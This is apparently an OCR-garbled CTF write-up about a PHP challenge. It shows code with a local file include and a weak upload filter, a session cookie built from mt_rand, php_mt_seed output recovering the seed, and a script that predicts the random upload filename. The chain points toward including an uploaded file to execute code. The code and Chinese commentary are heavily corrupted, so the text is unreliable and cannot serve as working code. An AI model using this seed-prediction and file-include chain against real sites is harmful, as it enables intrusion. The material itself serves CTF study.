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session_start();
if(isset($_GET['page’]1)){
$page=%_GET[ 'page’];

Jelse{
$page=null;

H oL i $page A 1LAget)s sfe NI page USRI 5E LHITERLN null

if(preg match('/\.\./",$%page))
i

echo "< cl 1id=\"message\">

€1 class=\"fa fa </ i>Attack
Detected!</ >"

die();

BRI 7 EAIMEN page NEEFLER .. BN Z BRI H Kl Attack Detected!

< ?php

if($page)
{

if(!(include($page.”’ .php')))

1

echo "< class=\"msg error
€1 class=\"fa fa- lamation-triangle\"></i>error!</
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Oow_error_m
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iv class=\"msg error\" id=\"message\">
s=\"fa fa-exclamation-triangle\"></i>$message

echo("<div class=\"msg success\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>$message
</div>");
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function random_str (%L ' "32")
{

$set array("a", "aA", "b™, "B", "c", "C", "d", "D"
¥ ”E"J “E“J IIf", ”F"J
"g”) "G“J "h", "H”) "i“.'l "I", . "]"J “k“.‘ "}:”
¥ "1", “L“,
"m", "M", "n", "N", "o", "O", ¢ Q"

I
"S“_" L "U", I

FIEII, II1IIJ ||2||, ll6ll

“8“, ll_qll)’_

1; $i $length; $i) {
mt_rand(@, count(%set)
$set[$ch];
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$check2 = (({($ _FILES["file-upload-field™]["type"] "image/gif")
($_FILES["file-upload-field"]["type"] "image/jpeg")
($_FILES["file-upload-field"]["type"] "image/pjpeg")

($ FILES["file-upload-field"]["type"] "image/png"))
($ FILES["file-upload-field"]["size"] );
$check3=!preg match($reg,pathinfo($ FILES['file-upload-field']["name'], PATHINFO EXTENSION));
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i $reg="/gif|jpg|ipeg|png/" W KT HEIL | iX P sk check MiE i 24 AL I SCAHORFFAE SN ' . /uP104Ds/ " .
random_str() . ' ' . $ FILES['file-upload-field']['name']; HIfIE .
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(isset($ POST['submit'])) {

$seed rand(@, );
mt_srand{$seed);

$ss = mt_rand();
$hash - md5(session_id() . $ss);
setcookie('SESSI@BN', $hash, time()

FA'THcookie SESSTON 72 Hisession idFfZAfF /= A KIBEHLEL $ss 21t md5 N fr B4 44 il i, b sessionid A& HHFRATTHY
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20cb875fdecb785982e6f11f2b9aa32f

md5

1923593253
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-virtual-machine:~/php_mt_seed-4.085 time ./php_mt_seed

: EXACT

: 3.8.7 to 5.2.0
, trying oxfceooeee - exffffffff, speed 3355.4 Mseeds/s
: 5.2.1+

Found ®, trying 0x12ee08808 - @x13ffffff, speed 38.3 Mseeds/s

seed = 0x12f1f8b3 = 317847731 (PHP 5.2.1 to 7.0.x; HHVM)

1, trying 0x18000000 - Ox19ffffff, speed 30.2 Mseeds/s
8x19bcc781 = 431862241 (PHP 5.2.1 to 7.0.x; HHVM)

Found 2, trying 0x38000000 - Ox39ffffff, speed 30.1 Mseeds/s

seed = Ox3875d4fc = 947246332 (PHP 5.2.1 to 7.0.x; HHVM)

Found 3, trying 0x56000800 - @x57ffffff, speed 30.1 Mseeds/s

seed Ox56fe7637 = 1459516983 (PHP 5.2.1 to 7.0.x; HHVM)

seed Bx56Fe7637 = 1459516983 (PHP 7.1.08+)

Found 5, trying 0xd2eooeee - exd3ffffff, speed 29.3 Mseeds/s
Oxd2390c4e = 3526954062 (PHP 5.2.1 to 7.0.x; HHVM)
Bxd2398cde = 3526954062 (PHP 7.1.08+)

, trying oxfeoooeee - exffffffff, speed 29.2
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317847731;
mt_srand($seed);
$arr = array("a", "A"

for($i = 1; $i <= 32; ++%$i){
$ch = mt_rand(@, count($arr) - 1);
$str .=$arr[$ch];

¥

echo $str;

?>
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